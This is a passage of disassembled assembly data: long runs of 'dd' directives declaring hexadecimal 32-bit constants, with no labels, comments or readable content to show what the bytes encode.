0D35B0B90h, 84D281A9h, 84B6EE4Eh, 4E74BA96h, 1D8DA708h dd 49BA9358h, 0BE6559A6h, 0B598F7A7h, 238F7C1h, 37E9409Eh dd 62278DACh, 54C49F6Ch, 0A42AD113h, 825D7FA0h, 265D207Dh dd 0BCF247FDh, 9962650h, 3974B919h, 47317F4Bh, 5461AFD6h dd 439A1746h, 28C380BEh, 4C310620h, 0BD059EF8h, 0BF5BDA88h dd 0BC079D05h, 6CA26F90h, 0C951E02Ah, 0A37F95A6h, 0CC58C3FBh dd 17FE26A0h, 50785A3Fh, 0AC5A0702h, 7BEDB4DCh, 0E9100192h dd 0D16A5E0Bh, 0A366C71h, 0AEE7885Bh, 27244208h, 0FC091845h dd 492359DEh, 4F42D8D6h, 18D70884h, 56BB47BDh, 0DC433738h dd 65B001C2h, 0DBF76AFDh, 0AD1E1082h, 0CDAED641h, 45484936h dd 6A98BF60h, 0F560A37Eh, 6C5EEE4h, 0F00F6062h, 68617345h dd 8379DA9Fh, 141C4008h, 0C3415FE9h, 0DC163067h, 0EA2F828h dd 3EA6AF92h, 0C83CBFD2h, 0B6520466h, 0D488E9BCh, 604796C3h dd 0E9D9DB95h, 0C1BB6D83h, 0FBF26D03h, 432E140h, 772ACD0Ch dd 50B92Eh, 8E3D07C6h, 0B5B24AE9h, 7E5E64E9h, 84593D61h dd 3EBE8A2Eh, 89CBA5C3h, 1907DD1h, 7328076Dh, 8A0F957Ch dd 83448849h, 0E2BAA7F6h, 1943C2ECh, 0BD2CF82Fh, 0E876624h dd 29A636ADh, 0ED4110DDh, 23E9F18Bh, 0F6D7B17Dh, 0AFE8123Bh dd 408CAB38h, 9EEC5A92h, 90C1361h, 287D5FFDh, 3752582h dd 0A1BF4355h, 0AAFD9F7h, 0A602AF74h, 0D677F011h, 0CDAD39E4h dd 0FD1E9AF5h, 0A61DDC82h, 0BDBD60Bh, 625EEBB6h, 6409B26Ah dd 0BBB27DC1h, 0C30461FDh, 0AA8C173Ah, 4F6A3F68h, 0E221EA94h dd 4332B381h, 99D1AB93h, 7FF3E9h, 1CAFBEC8h, 93F43B6Ch dd 5A710095h, 0E126FA68h, 9291AD7Eh, 16BF7424h, 727B01FBh dd 6076980Ah, 0A5C0B788h, 0EA6042EDh, 0CCF9F717h, 0ABD87F92h dd 0AF03774h, 61619F34h, 27F22E5Ah, 0E982C191h, 0C4E84DF4h dd 6FE145F6h, 90B5E4FCh, 0EB689A16h, 0BBB93700h, 0E942DFCBh dd 2305B5E6h, 0A641AC5Eh, 0DEE913DBh, 4038FAB3h, 0BD63FE54h dd 427DED09h, 0B5D1F1FCh, 0BA7D078Ah, 254D7002h, 36271BDCh dd 1A35F053h, 53685548h, 0C58840FFh, 9B4FE9h, 71A4BE17h dd 55584615h, 3E0B029Eh, 41E5C118h, 60EDC598h, 4B21EE20h dd 0A51EACEEh, 1E749D07h, 0D5563212h, 9A4C2279h, 0E27D0905h dd 5D03214Ah, 1A038C86h, 3648A9BAh, 0FE80EC02h, 15914222h dd 58D2F70Bh, 91ED2934h, 2C15B2h, 0A667FB68h, 0F6515BD8h dd 801109Ah, 0CD25AA5Bh, 0D9E7B91Fh, 2EE8AC9Ah, 0FA362D76h dd 0A0EBE912h, 0D524E2E3h, 7999A0A8h, 4CCF63E0h, 3D031689h dd 0EAF777EFh, 0A7480523h, 0C070480Ch, 6362402Bh, 370664Dh dd 0F30702F2h, 0F1EAB112h, 316C26F4h, 0E920E2D1h, 0BB5B2583h dd 0B702DFBCh, 0AF226D68h, 65E6007Dh, 0D05A40A3h, 305A0752h dd 0C2E95080h, 0B533F2B7h, 7B6877B9h, 0EB5D9DF6h, 4140A45Ah dd 84C2128h, 68280BFEh, 6CF82409h, 10D00CA4h, 7E5E891Ch dd 0FF4CB7Bh, 388C529Dh, 0AB5FD5EDh, 1C75D19Eh, 9DA884C3h dd 0D7E251F2h, 0B701AE74h, 5EF78047h, 9DCBC7CCh, 0ED27360Fh dd 0E7F50705h, 55A57C5h, 3DDFCCE8h, 0FBE6B40h, 1EB2542h dd 0ECD6CE4Eh, 18DEF0DBh, 57742C7Bh, 0B3831828h, 0D0B479CEh dd 0A7FEA364h, 43504EB2h, 844C7EC0h, 5D54C494h, 70E4BCC1h dd 0BE14797h, 0A5F1CFC8h, 980A0D8Bh, 1FF1E5C5h, 4A481D22h dd 0AA3142C5h, 0D7EB7CCh, 5BB0D7FAh, 0FE5F29B9h, 4B2EDBACh dd 0E9860743h, 55D9D969h, 5A74E970h, 344FF3B9h, 0C9A0B1BEh dd 1D7900EAh, 861E6844h, 0C5B85143h, 0B658BAC2h, 0C24FC315h dd 5E0882EDh, 0B6015F56h, 41685421h, 2ECDA890h, 9E202BCh dd 5812717Ch, 0D20D0EFh, 0D73002B7h, 0CBA4E220h, 2DCC1D07h dd 76BC0941h, 74608F5h, 0C5895F03h, 65AEDC58h, 0CBDB0102h dd 782BCF62h, 8EB28B2h, 7D96A2C0h, 2DE958EAh, 0F520D004h dd 8852DC4Eh, 0D78BE0Bh, 0A1E2DFBAh, 4C24D0FFh, 0DE009705h dd 31583E19h, 30B759CEh, 81ABB7BFh, 8B1C2F56h, 14686044h dd 0B876A0AFh, 0F3B80E4Bh, 4623FEA0h, 0A2355B03h, 102E45Ah dd 265C73A4h, 60D5F71Ch, 0D6978EB1h, 0E767CF39h, 6D5D0B0Fh dd 0C3D24D3h, 3EA19939h, 21BA734Bh, 8241D7D8h, 0EB80D32Fh dd 0E266E3CDh, 0C08A047Dh, 7C880219h, 0AD4908DFh, 97E9D076h dd 0E5AD0347h, 5E906C7h, 0EA0429B0h, 551A5D97h, 0EF9084EFh dd 34C72BD0h, 0C6C6953h, 0E85FB712h, 822B9041h, 2FD2BA41h dd 77813FECh, 6F11E961h, 0ECAA4A84h, 30BFB448h, 9B43E9D6h dd 163779B5h, 0F2E4675Ah, 0BC481856h, 0E82C4855h, 98FD7D1h dd 0EEF5EAC9h, 0FECC8681h, 1C980C4h, 0DBA2E17Ah, 0ECCB419Bh dd 790EBFCCh, 35CC08C8h, 1204FA28h, 20A9C715h, 8BA7F11Ch dd 765E1CACh, 25ED6C25h, 62967A56h, 0BD80E1B7h, 9FCBF32Ah dd 71D00B92h, 3D4B2CC2h, 0A9C6F88h, 9E7F25A1h, 174BD65Ah dd 0FC64A5F8h, 400551E9h, 0D9297527h, 81402C4h, 0DBCB2D3Bh dd 12AAA60Bh, 93C2A695h, 5C251705h, 0B305D3B9h, 0BC12EF2Dh dd 602F7E2Eh, 41B8F9D1h, 89BD1575h, 0FE395D74h, 2D5F80D8h dd 78910BA9h, 95685913h, 5C86B1FDh, 0FC9D4C9Ah, 0B0D35CDEh dd 5D11DCFAh, 0D00FE925h, 6B669B98h, 1801CEF7h, 37FC6FE9h dd 3A1864F3h, 0C80C0DAEh, 50CB2433h, 9205005Eh, 0AFE94CD1h dd 3E308F9Dh, 351301C0h, 0AB096268h, 4FC4C769h, 0DAC0D9ECh dd 0C131A03Fh, 16CCE148h, 0AFB4451Eh, 0B62BE32Bh, 17D910C8h dd 55B6092Ah, 953A9939h, 0D829EEF6h, 30625763h, 292014E0h dd 1FCB05D8h, 492B5561h, 81699BB0h, 47F22A7Eh, 247E0B92h dd 920969E6h, 77077Bh, 2F0A16F5h, 9777983Dh, 295EC25Ah dd 0AE12ECE2h, 1C32A37Fh, 7025408Eh, 1E5F09CEh, 0FF38D5h dd 86E23B31h, 0D0012C93h, 8A1A126Bh, 0C2401202h, 48468BAFh dd 0C9BD3484h, 0C421B2EEh, 0FC167326h, 9EC35007h, 8567345Ch dd 9CAE2D42h, 1C09BF95h, 0FDEB20E2h, 9D67608h, 0FDB85658h dd 9005061Ch, 85D4E942h, 8604B2EDh, 0BA7FA252h, 412ECD41h dd 52B0998h, 0E8879B38h, 41B8A4E2h, 2B4AC5DEh, 0D0A70571h dd 0DD071A2Dh, 970AD605h, 0EF106927h, 5B75432Dh, 0EDCFCB7h dd 0BA12C4F7h, 5C263DCFh, 89D525E7h, 34B87839h, 0BA5670BAh dd 9102569Dh, 7BE80B79h, 9197911Fh, 98808120h, 254474EDh dd 6A13558h, 9CBF57h, 0BF03AB0Bh, 4FE70CA3h, 0F969C16Ch dd 8B413BADh, 58FD08A9h, 1205B26Fh, 0B0B1FCE9h, 647CFA2Bh dd 8C855ADBh, 0FC9144C5h, 5657C501h, 0C827DBCh, 7E373470h dd 1AB58B80h, 1240DD6h, 3D183AEBh, 0F05BDE53h, 8D8A5FEAh dd 72F37AD6h, 1C6F7B1Ah dd 79207AFFh, 0B25F9772h, 0F534FD7Bh, 0F18AFD2Ch, 779401E2h dd 8853C510h, 0D900F372h, 45A665Bh, 9477E96Ch, 8B68054Eh dd 0CACC4453h, 835E0360h, 0CBF005EBh, 2213417h, 7A8EE3F0h dd 0DB56E05Dh, 576A829Ch, 0E978377Ch, 5297631Ah, 59B9F988h dd 2DF86ED3h, 7D62F3D4h, 87C42B21h, 5B2C78FEh, 3E0AE89Eh dd 15BC6F0Eh, 6AAD919Ch, 0A5E0A0D0h, 9D321207h, 50B3559h dd 43CB8FFCh, 4B35ED68h, 6F6FF56Dh, 0C4613BA1h, 0F659126Fh dd 2CAA9713h, 0B24F3012h, 90003CEFh, 0BFB96E40h, 6D6BDABh dd 7E0B0501h, 35D43D07h, 1AA2013Eh, 0CA2BB32Dh, 0E9A93010h dd 0D3A5974Bh, 7D53F63Ah, 0C4AAB926h, 4A9CD2AFh, 3197C87Eh dd 1BE0121Dh, 74E6F680h, 4C017BCEh, 5D10DBF1h, 27BC4E1Fh dd 0FD171B17h, 0D1298AA0h, 81D3C318h, 0D6209C7h, 0E5F457BCh dd 83FD5425h, 3E2B7004h, 99220C3Ah, 5F3CA893h, 8281F33Bh dd 82656ACAh, 0DD9394B3h, 2AB4C659h, 0E45A40C2h, 0D4942F0Ah dd 0C37C8B22h, 0E988B303h, 0E8F9073h, 0E50C31B4h, 79405122h dd 23F95C01h, 0CE116000h, 0E6814652h, 0B58D578h, 90F601B6h dd 292DB761h, 0F0018752h, 0F397B48Ah, 2E63904Dh, 89C6C951h dd 577EAAF0h, 2A55DDB1h, 41CD6198h, 0F25330DBh, 0E21A670Bh dd 6FAE8E50h, 31B7659Ah, 989ED2BFh, 5CB7CBECh, 8902421h dd 0C42C8A33h, 0A077F62Dh, 6D1409AEh, 198934A9h, 0A500EDF3h dd 5D6E7FDAh, 0E9EA1631h, 2D69F127h, 0DEC8E200h, 0C98C822Fh dd 2ED0FD68h, 9D517626h, 731409C4h, 0F6D1D10h, 44BDBF7h dd 0E2F8D07Dh, 4CD1F93h, 806C9D5Bh, 47BEABEBh, 0CD2DE502h dd 0C16FBA45h, 74505D1h, 1E116804h, 62C575AAh, 2D68D32Ah dd 8AA46CE0h, 5F0DA105h, 45F95822h, 0B168487h, 13B716DDh dd 616C7568h, 3825ECFAh, 12889476h, 0D5EB0680h, 0B01BE1Fh dd 67DE58DCh, 26D2A20h, 0E93CE307h, 4CD5A3F4h, 4F9150E3h dd 5E8F0FCAh, 106B65D6h, 3A2630D4h, 0BE249671h, 976AE868h dd 0D4BD15CEh, 7E9E25Fh, 562D1674h, 0F150658Ch, 8B942EA7h dd 4B599B88h, 6C8DBEDDh, 5BCAF97Fh, 0D6FE04BEh, 0B0E4FF5Ah dd 9A45E9h, 30FBB46Bh, 580CE178h, 4921BC68h, 5EBCB264h dd 1E0E629h, 7ACC70AAh, 492E0FE9h, 4375BB72h, 0D624DA98h dd 0ADABC028h, 0B1FAFF90h, 0B4B29895h, 0A6964Dh, 0D4F6CCFEh dd 0ACFB252h, 350437D2h, 0A1ADAB1Fh, 176AB2D3h, 2F306BCBh dd 2F5653BBh, 1DC4BE1h, 17AD0F4Bh, 57C3B046h, 0F6409D21h dd 0BDC543D7h, 5FFFB951h, 59EDB31Dh, 0E9DD6045h, 42E442F8h dd 0E2D187A7h, 0BCBAB1B7h, 657C2380h, 0E91335C9h, 0E9CC2B78h dd 9EF6A556h, 0CB5DD45Eh, 0BBA6184h, 8864F55Fh, 6BC1295Fh dd 5A002A8Eh, 302D0AB5h, 62666ADDh, 2D304596h, 0D627C052h dd 0D0EA7644h, 705ADF68h, 0C4AAA125h, 0AB99D583h, 0FB2A5B9Dh dd 60E28E32h, 952AE372h, 0A4801366h, 0D801CFEBh, 0E9CA29A2h dd 0B26AA347h, 0A4F08F5Ch, 77EB69D5h, 5968B743h, 1896AB74h dd 50CB8BFEh, 5180260Bh, 0FE8D0EB5h, 4A4380C5h, 92F9EE08h dd 0E4ED3F76h, 0B4855C8Fh, 0E1E5BB6Ah, 0BE3883E1h, 0F577A94Fh dd 0DF9344FAh, 9D565C3Bh, 0E0F1D652h, 4B56F887h, 0E1811060h dd 3F0E5C6Fh, 0F7E94154h, 524412A1h, 0D3B4CAEEh, 538801F4h dd 5B05EB8Bh, 0FE7B3E68h, 2214FC36h, 23B23F82h, 0B5708E20h dd 0D6A75D5Bh, 0EFA616BCh, 10F49110h, 522D975Dh, 5A9276F4h dd 8203C4BEh, 5707D341h, 34B13765h, 4AD5617Eh, 0C1C25412h dd 0D6685265h, 0B01CC5Fh, 1A8A2611h, 1306800h, 81012336h dd 0C75AC8CDh, 0A2804D14h, 0B2D1545h, 7C90D5F7h, 8D096F18h dd 2A6C32Ah, 0E91CA904h, 2B7EB38Ah, 0D701284Ch, 4E08B8DBh dd 0F4148F62h, 3B772768h, 0DC84F3A1h, 0C6C134ACh, 0EE488708h dd 81DC2F55h, 0A093663h, 22A09D31h, 0C7B508h, 0DAECB80Bh dd 930DB57Ch, 0B1D8850h, 953928BAh, 881CB3E8h, 38C0B82h dd 0D90B7E49h, 0C850E4F5h, 504E77BAh, 0CA82D7h, 13326446h dd 8F3DE942h, 0E2947CB5h, 0C45DA4D8h, 0D49E909Bh, 0BB20B104h dd 240179BFh, 0C48001B1h, 3BE32076h, 0F6F98AE0h, 75A590DBh dd 53DD0F6Eh, 0EBA606B3h, 576060Bh, 9C3AF33Ch, 347EC0CBh dd 82871804h, 925F5C29h, 0F401F0E2h, 24689940h, 0CEDA7B54h dd 6DD1158Bh, 0DFA9E242h, 6125D014h, 81C47378h, 531EC0EEh dd 0CB10040Ch, 54583008h, 98863048h, 920E27DBh, 9628315Dh dd 75B3A13Fh, 0BDA92084h, 9567BA4Ah, 0A4AA2DF4h, 95B02C75h dd 67AA685Ah, 3B3EB258h, 3E042F9h, 0E6F2074h, 0AC512225h dd 498305C2h, 7A359C80h, 0DA5FF466h, 58C1CBA0h, 0E501ABEDh dd 720A3D32h, 0E267052h, 0C0E93697h, 622F686Bh, 58285AD2h dd 810206BBh, 60272AEBh, 3C025D55h, 0DD0942C0h, 61562880h dd 0F997AE5Fh, 1FDE2FCBh, 4AA068D8h, 3FF2CD35h, 996EED8Dh dd 64153B73h, 76EE2F4Fh, 9875A7C1h, 2DE9F535h, 0DD9A5F03h dd 0FB48FD38h, 8141DCB6h, 70C073EDh, 98F5F249h, 64088218h dd 5ECA259Bh, 5224E5C6h, 2FBFF0BEh, 9C9E5F02h, 97D6D720h dd 8628C474h, 4AC49948h, 4EAD5782h, 0ABE82DB3h, 44407B3Ah dd 773E2E67h, 0FDE30361h, 0B066492Dh, 786E3DF3h, 50094C07h dd 0E98A4D38h, 0A7C6B99Bh, 84CE9A63h, 1FF965Bh, 9DC791A7h dd 545DE207h, 9FD3C2B9h, 2A5F8CA9h, 800C61DFh, 0B5EAEDF6h dd 6DA80301h, 0C2993015h, 0DA1308BFh, 0E3BB52E4h, 14474F23h dd 0F70B98C8h, 7B5C6CB1h, 77406CB5h, 165F0EEDh, 20AF6FE9h dd 0FD1C1095h, 0A2B5204Bh, 5F580802h, 0F076FDB0h, 80C1DF82h dd 0D9C77401h, 4B33640Bh, 0FCA10BE9h, 0E1905C79h, 4CFBD620h dd 412FF550h, 20FCC464h, 0B5F7045Bh, 0A22A4251h, 7568C2C9h dd 309FCC28h, 80109AFEh, 0EEE641C6h, 6859FD0Eh, 0BD3076D8h dd 16FED7B7h, 0BCB151C7h, 9C882C84h, 7AF13CBAh, 523BE925h dd 3E6F26C2h, 18ADC284h, 5CAFB959h, 0A0659D76h, 0E3160098h dd 4F00EA4Bh, 6876CAF2h, 0B0D7ED72h, 2613FE3Ch, 0A5B40AE9h dd 0F67DE477h, 0AC9C5A30h, 0E1C6A4ADh, 4173B55Dh, 39EA44BAh dd 0E127B680h, 5498A2C4h, 0B4FA37D2h, 7DF313CDh, 0D8FAA4C1h dd 112468AFh, 0D1960075h, 0ACCA7AD0h, 2A5A245Ch, 4B430220h dd 507599B1h, 58C72D8Ch, 0E951A380h, 9C979B82h, 0A43EFDE1h dd 503E5A4Ah, 0E67BF288h, 809A64Bh, 7DCD095Bh, 0D485FA2Fh dd 0E64001D9h, 0ED0F2A7Dh, 6AB1751Ah, 0E9BC4CECh, 6994D02Dh dd 3C600110h, 12960476h, 0FAFA29B5h, 5205AF2Ch, 0F74ECA6Eh dd 10D14918h, 0BA02673Ah, 17AB0572h, 93AF1561h, 92BB5FB2h dd 0BD006796h, 737E29ADh, 0B44097B0h, 461FB6C6h, 2C26592Ah dd 859708A0h, 13F31FE3h, 7BF5680Ah, 310B6FACh, 0EF5DE5ABh dd 236804E9h, 6F66986Bh, 21EE955Fh, 2F393450h, 0D72DDB32h dd 0E55F34Ah, 0FD9E6BB1h, 832D1244h, 0DCF20C3h, 0C196DECBh dd 68127BD0h, 5CCC8251h, 0DF4A3F6Fh, 80D5EEAh, 0E914001Ch dd 7AC05B36h, 0E380548h, 2D170049h, 0D3270B28h, 6C4E16E9h dd 16816534h, 7E83E67Dh, 672296B9h, 0EA5EA28Fh, 955EF2DDh dd 9BD6EA4Ah, 1CE1090Ch, 9E5B959h, 86907013h, 9F3B22AAh dd 5BE2027Eh, 577FB455h, 0DF188AE4h, 0AF49D1Fh, 56699719h dd 0A99A7001h, 0A4DB104Bh, 52C7E912h, 7F11FA0h, 2B634E5Fh dd 20AF578Dh, 1400DEB7h dd 0F2353CC6h, 0FF3A0538h, 0F8FDF02Bh, 0FABC314Fh, 0FB02EDC0h dd 0E4C1E942h, 7AE754BFh, 0C82D43Eh, 0E6565D08h, 12403617h dd 35481F00h, 169B2A0Bh, 0ABC4682Dh, 573C2CCh, 0E97AD814h dd 0E8C1A1B8h, 2624D108h, 0AFBEEA20h, 7F07894Dh, 90B3F94h dd 2073E9DBh, 33E1BBB2h, 29571F2Fh, 5B0CCB5Ch, 0EEC0C077h dd 46362768h, 0F8B3FD94h, 77960027h, 0EF21A018h, 55B96A81h dd 7B011C0Dh, 0A1D7424h, 761882E0h, 12CFC22Ah, 76686600h dd 4A08C962h, 0BE93FD8Ah, 24023F66h, 6524D7D8h, 30C812Fh dd 0F92140B9h, 0A36E4E7Fh, 90F25E11h, 74581CCBh, 84524996h dd 0BE07FDA4h, 4AE51F30h, 9C09AE46h, 5FD12B42h, 749DC21Eh dd 632C43E5h, 6699625Bh, 7D108E2Ch, 135D3B03h, 6189A06Eh dd 0BD557D40h, 913E2CF3h, 85E5011Fh, 2E51FF3Ah, 0FDF431FEh dd 0C939215Fh, 0C53D24DDh, 0EE5B7B04h, 0D1C04D62h, 0B9C770Bh dd 9F8AE94Fh, 25C0C455h, 7468948Eh, 80828432h, 3B1DE702h dd 4F28307Fh, 0CB69010Eh, 17E92C0Ch, 7B804275h, 90C5E6EDh dd 0F9B72CAFh, 5F742DD6h, 5D64AB20h, 0B1BAB859h, 7A86719Fh dd 7151B005h, 614A29EAh, 0F8E1C2E5h, 0CED93088h, 0DD8C099Fh dd 0A5FA67CCh, 0C3125D96h, 0C48BF2BBh, 52076272h, 0F8DB7457h dd 3AC3C9Fh, 0EA8090B2h, 496DE148h, 7717DA37h, 25F6B62Bh dd 1600092h, 546368C1h, 9BD103Fh, 6A3510ABh, 3EF53168h dd 1ED20812h, 5E4FB6FBh, 3E76F8E0h, 87A51018h, 0FF28C884h dd 0F0E21FC7h, 0B2E67F4Ah, 0ED4E3998h, 0A33095A5h, 0F33180A1h dd 0C393DEE4h, 3700B320h, 0D66E945h, 0F32D44h, 4F760527h dd 972578AEh, 0A3FA0E4h, 0E82C7D40h, 0B308E4E2h, 0FE482F7Ah dd 5F2D6E8Dh, 4028565Eh, 0EE189ACFh, 5B1D315Ch, 66CBB3EDh dd 68F8185Fh, 0F3464E09h, 734B1748h, 6010CAAFh, 3165F5DCh dd 0D12E0661h, 0C6564DE5h, 0AA6A6718h, 0D23515CAh, 4AA2F9F1h dd 73A9DABCh, 0C5012F87h, 0FBE98504h, 4F03D077h, 455B3A30h dd 0C8C4C0Fh, 95192206h, 0E7BFEC00h, 2D5F7360h, 38415381h dd 30924001h, 0F06CAE9h, 0E2D1AB66h, 2CCC41ECh, 13EC5839h dd 6E380A9h, 0D0FCB55Bh, 58052F87h, 5E0C173h, 1D1F3780h dd 811B0259h, 0F54151E6h, 135C60D7h, 5E2B0E5Ch, 96AF031h dd 52D1516Ah, 0C4E03683h, 97F0E9D8h, 7D5EB2B5h, 305741C1h dd 30065F07h, 63BF46D7h, 0DF293F0Bh, 871325CDh, 0F498BA2Ch dd 36F401BAh, 79E91ABBh, 0D6D02D0Ch, 0BB6220BAh, 0F26E62Ch dd 0A1244745h, 0FA815219h, 4B48E8A5h, 0EA9FF229h, 2086441Bh dd 68171926h, 0DDA302C6h, 60D9E951h, 0F6F98800h, 0CF4ED174h dd 0C9C707C1h, 0CBD73E31h, 0B9F7C087h, 3AEA7004h, 5B262CF8h dd 0D83D385Ch, 0EE3EF2F4h, 2FBCB40Bh, 0E9F070FCh, 0B3674A74h dd 3F404E32h, 71542722h, 2C450B25h, 0DD0D65F4h, 4A126F66h dd 4003CAAAh, 48952FCCh, 827E802Bh, 12833884h, 0B95A00EAh dd 53755091h, 0A06EF8BDh, 307940CCh, 0B20C0AAEh, 0D4B8C65Dh dd 4143CA48h, 140CA008h, 2A8E92Dh, 5F04BDC0h, 309FA696h dd 0FD08EC7Ch, 4E88A660h, 7E2F8C63h, 722545B8h, 5B20FE29h dd 10A7EFB0h, 0AC67C12Ch, 0C00C4C1Ch, 4F10C21h, 151CE12h dd 0CBD8A2F9h, 9C7DD85Fh, 8844581Ah, 0B22F6182h, 52C04172h dd 34E1B050h, 4EBE414Fh, 0E267ECBDh, 9ECA63E8h, 51051273h dd 48E939B1h, 0D9F6E591h, 5EE3C1F4h, 0B70BEA30h, 26CC75D7h dd 0E8685A7Fh, 0A50B8A1Eh, 9892726Eh, 0B68D0075h, 5BFE304Ch dd 0F0588850h, 0E9580657h, 266A7D3h, 0F86D10B8h, 0F140D157h dd 8A486C64h, 1DB71072h, 59048048h, 0C179AD3Eh, 0D56F883Fh dd 0CAC9F07Ch, 0DE9D402Fh, 0A46F4E90h, 9BE89FDh, 460BA754h dd 407D5453h, 0F360EB81h, 0DC9EB150h, 77097B40h, 6FF75DD0h dd 5F07BE07h, 6085EBE4h, 881AE46h, 61CAEA70h, 0F0200D34h dd 0F2312C63h, 0B9F013C4h, 3DF80571h, 0AA827FBAh, 0A0410F70h dd 6E48154Dh, 0FC0251F0h, 331E493Ah, 0A93E83Bh, 6C32BE6Fh dd 0C4CEDF0Ch, 2916817h, 0F76ACF89h, 0AEE9C513h, 0E1EF40BEh dd 502F7389h, 71848EA0h, 1200E76h, 88CF20CEh, 73E7D4B7h dd 0E8914C2Dh, 1203C2E2h, 0AF0F3F22h, 75E6DE01h, 91437CBAh dd 8BD2FFCEh, 8D136037h, 0E0300565h, 92A945E9h, 82FDFA4Dh dd 48D1A232h, 0C9CDF458h, 0B8507506h, 82DCF63Dh, 70E94BC4h dd 0A735F90Ch, 9B906170h, 0EF6DD509h, 0D9A8A39h, 863FAB07h dd 0E5E7A02Bh, 6EAA7FF2h, 65620C67h, 0FE00EA0h, 2025405Eh dd 0B012F006h, 5D584F22h, 908D357h, 34C53777h, 12349420h dd 0E2FBB490h, 9A02CA8Fh, 0D45466E5h, 0FC7A1E88h, 4BAC5E1Eh dd 84D05C25h, 0E906E953h, 624B4810h, 0FFF3215Eh, 42FAB940h dd 693A2327h, 0D87C4988h, 1130BD02h, 99E16D1Bh, 10AE2A5Dh dd 214F0B7Ah, 2373D79Eh, 0A250262Bh, 2CBA0A16h, 55F589Ah dd 0BBC4B0EDh, 40388D8Dh, 9B7CBFBAh, 79E3A58h, 2F12ED74h dd 0A8232FF9h, 8E5E1D80h, 0FB121DA5h, 14FD4588h, 0C854CA15h dd 7701CB05h, 0EF938011h, 910BA4A1h, 73B7BFE9h, 0F466967Eh dd 8909319h, 9820D020h, 31D997BDh, 26BC6861h, 8535A876h dd 6C5C011Dh, 612B0579h, 0AE2240A5h, 6095B46Ah, 305C893Eh dd 9FA0036Fh, 37672543h, 0CDF002BEh, 9D1D3245h, 6A7C080h dd 2904ADE8h, 0D08DE9EAh, 82F6A2A8h, 1DBC8859h, 0FA9E5259h dd 0F45AD509h, 8909C971h, 9BDD0207h, 148501E8h, 68D51897h dd 0F011D348h, 5E1EEC3Eh, 0C31F4B6Ah, 3B86D8CBh, 0A025D15Eh dd 31CB403Eh, 0C14E9F4Fh, 8939DEB4h, 2085B6Ch, 54F67FEDh dd 95D18DA8h, 290B3B83h, 582B2728h, 0F8DDDC54h, 0B58A7DFCh dd 7ED9B8BBh, 0F1B95073h, 3D3D5910h, 0C14DF538h, 3E6D5090h dd 8717717h, 8535E740h, 4229290h, 37B12DBBh, 0AB6CC074h dd 3117361Fh, 89FF52E9h, 0B4A93E3Dh, 9740E9B0h, 8063F39Fh dd 0B36684BEh, 0F7133173h, 4304475Eh, 20ACD490h, 0EC586884h dd 34EF5B82h, 8BCFEA35h, 24784510h, 0F925535Ah, 22DDAF9Eh dd 9DA51F7h, 8FE17682h, 0CA066B0Ah, 1E0A0FCDh, 0AFF15DEAh dd 3064ACC0h, 0BFF354D7h, 6050C502h, 61F77C5Eh, 844EDF2h dd 272DB4ADh, 0C2B15705h, 385216DCh, 5CC0F304h, 92AE0B29h dd 0FF02C1EAh, 9246F39Ch, 517CAA5Ah, 0CB805EA9h, 3EC84574h dd 0E91D2CCFh, 5738F493h, 0AA22EAF7h, 7DC34048h, 875B2D3Ch dd 7727FF7Ch, 0E9D14101h, 0BCC22BFEh, 73B3555Ch, 0CE54E7EAh dd 0D0388F6Ah, 3217A03Ch, 41E873B7h, 7F02C20Bh, 0B25600F7h dd 254E9418h, 0B0C2B0E9h, 0B5A7EEF5h, 0AA4A5EE4h, 1D3C1890h dd 0BE994B54h, 91970E8Ah, 9EFCF5h, 5540B8h, 83B91167h dd 315CAA42h, 543035B0h, 0BEEAB313h, 0D7A02F0Ch, 5C95FBDAh dd 12B8CE6h, 3A0CCE27h, 0C3D6164h, 670D1313h, 0BC1A087Eh dd 0D6EE680Fh, 3779ECCh, 5975BA47h, 0D1673BEh, 0BEE2CE31h dd 12D3EC97h, 28215853h, 3039D14h, 9862A28Ch, 4FD4E943h dd 9825FE91h, 7EF8382h, 0C75051BAh, 0ABD07F4Eh, 2DA81BEAh dd 0E2708A46h, 5E56452Ch, 7D49C22Fh, 2EC68C41h, 0D44F7CFCh dd 94D1FB2Bh, 57391F06h, 4304EE07h, 0D0A9BF2Dh, 0E30B5772h dd 156870Dh, 0D567E884h, 0B1CD857Fh, 1A5026F4h, 7575FEE2h dd 427F2909h, 0C7E9605Dh, 4C2B16AFh, 16D1BC28h, 63D08DADh dd 7B7BD3C3h, 3BFFA4h dd 568A3543h, 0F71F344Fh, 709D0DD8h, 362D3B00h, 0BCF4177h dd 37E9C589h, 7C5FD342h, 1E978238h, 0D1F46410h, 8308E20Bh dd 9BC9B829h, 0D729E24Ch, 32590529h, 0A0BD762Dh, 22477F94h dd 5D5A5263h, 8BE9D403h, 35B00177h, 1C0E3A6Bh, 0B8B07B31h dd 0F4814E9Fh, 0AB5E3374h, 0C8B88E32h, 0F3E8281Fh, 0D6191E7Ah dd 68D881E0h, 0E548F653h, 5280A2AFh, 0F86A50B6h, 0C8298069h dd 50E10506h, 303E1941h, 8071AF3Ah, 2C3977C2h, 58DB3A26h dd 4D01DE1h, 0F0E97839h, 3C417BE9h, 0B914C52Fh, 89BF27C8h dd 0C3C7751Fh, 0F4FA5512h, 0E648894Fh, 79280404h, 93C04E52h dd 0A2FA0BFDh, 28C0D7CFh, 0A72D92D0h, 2F87D2E6h, 54513D08h dd 81E4DF6Bh, 0CB9AF390h, 0DA0554Eh, 0A981D40h, 14F7CB4Fh dd 2E92B5Dh, 412BBC0Eh, 0E27B6E6Bh, 395E04B9h, 46C060B3h dd 12913B9Fh, 0C5E1C12Dh, 0F1070056h, 38056E3Eh, 2280E4EDh dd 490C9A18h, 3E69A56Eh, 3ECC79B6h, 6674AF0Bh, 0C96CE2F7h dd 0D47B63BBh, 0BB9184A9h, 0E9F07BB8h, 2AD264C5h, 0F8D287A9h dd 9D05A582h, 0E6AECFC8h, 4E169256h, 4E86BE86h, 6B98F1F1h dd 14C9B3B7h, 542C33F8h, 0FAE0CF58h, 7531803h, 7C99E681h dd 925DE908h, 1138E36h, 0A067E902h, 29138A3Fh, 0F017E564h dd 857571EFh, 70D86A20h, 75965E3Fh, 11213CBh, 9D7E8F12h dd 58D84018h, 0CCA8AA76h, 12FFD34h, 2D7356E5h, 0FAD8279Bh dd 4195ECE9h, 8266BE8Dh, 4E277500h, 6D6CE901h, 2BA16C5h dd 0ED5BA4F2h, 19784DD4h, 0D753941Fh, 3FACE12Eh, 254BDB07h dd 6BE90F60h, 0C9F9B523h, 0AF7DCF0Ah, 40C38062h, 0AA96DE89h dd 0CDD25D78h, 447F4895h, 0A27AE176h, 0B161A47Bh, 0B087F101h dd 0B62334Ch, 0F808B87Fh, 